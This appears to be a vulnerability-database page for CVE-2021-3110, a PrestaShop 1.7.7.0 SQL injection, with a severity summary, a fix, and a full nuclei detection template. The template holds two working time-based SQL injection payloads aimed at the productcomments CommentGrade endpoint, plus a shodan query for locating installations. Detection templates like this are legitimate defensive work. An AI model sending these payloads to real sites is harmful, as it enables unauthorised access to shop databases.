HexBrain

Browse / CVEs / CVE-2021-3110

CVE-2021-3110· prestashop / prestashop· CWE-89

PrestaShop 1.7.7.0 - SQL Injection

criticalseverity
9.8CVSS score
18.7%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

PrestaShop 1.7.7.0 contains a SQL injection vulnerability via the store system. It allows time-based boolean SQL injection via the module=productcomments controller=CommentGrade id_products[] parameter. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Apply the latest security patch or upgrade to a non-vulnerable version of PrestaShop.

How to confirm it

Send: @timeout: 20s
Positive when: duration_1>=8 && duration_2>=8 and status_code == 200 && status_code_2 != 404 and contains(body, "average_grade")

Run it with nuclei: nuclei -id CVE-2021-3110 -u <target>

The full check
id: CVE-2021-3110

info:
  name: PrestaShop 1.7.7.0 - SQL Injection
  author: Jaimin Gondaliya,mastercho
  severity: critical
  description: |
    PrestaShop 1.7.7.0 contains a SQL injection vulnerability via the store system. It allows time-based boolean SQL injection via the module=productcomments controller=CommentGrade id_products[] parameter. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of PrestaShop.
  reference:
    - https://medium.com/@gondaliyajaimin797/cve-2021-3110-75a24943ca5e
    - https://www.exploit-db.com/exploits/49410
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3110
    - https://medium.com/%40gondaliyajaimin797/cve-2021-3110-75a24943ca5e
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-3110
    cwe-id: CWE-89
    epss-score: 0.18653
    epss-percentile: 0.97289
    cpe: cpe:2.3:a:prestashop:prestashop:1.7.7.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: prestashop
    product: prestashop
    shodan-query: cpe:"cpe:2.3:a:prestashop:prestashop"
  tags: time-based-sqli,cve,cve2021,sqli,edb,prestashop,vuln

http:
  - raw:
      - |
        @timeout: 20s
        GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(8)))xoOt) HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout: 20s
        GET /module/productcomments/CommentGrade?id_products[]=1*if(now()=sysdate()%2Csleep(8)%2C0) HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=8 && duration_2>=8'
          - 'status_code == 200 && status_code_2 != 404'
          - 'contains(body, "average_grade")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from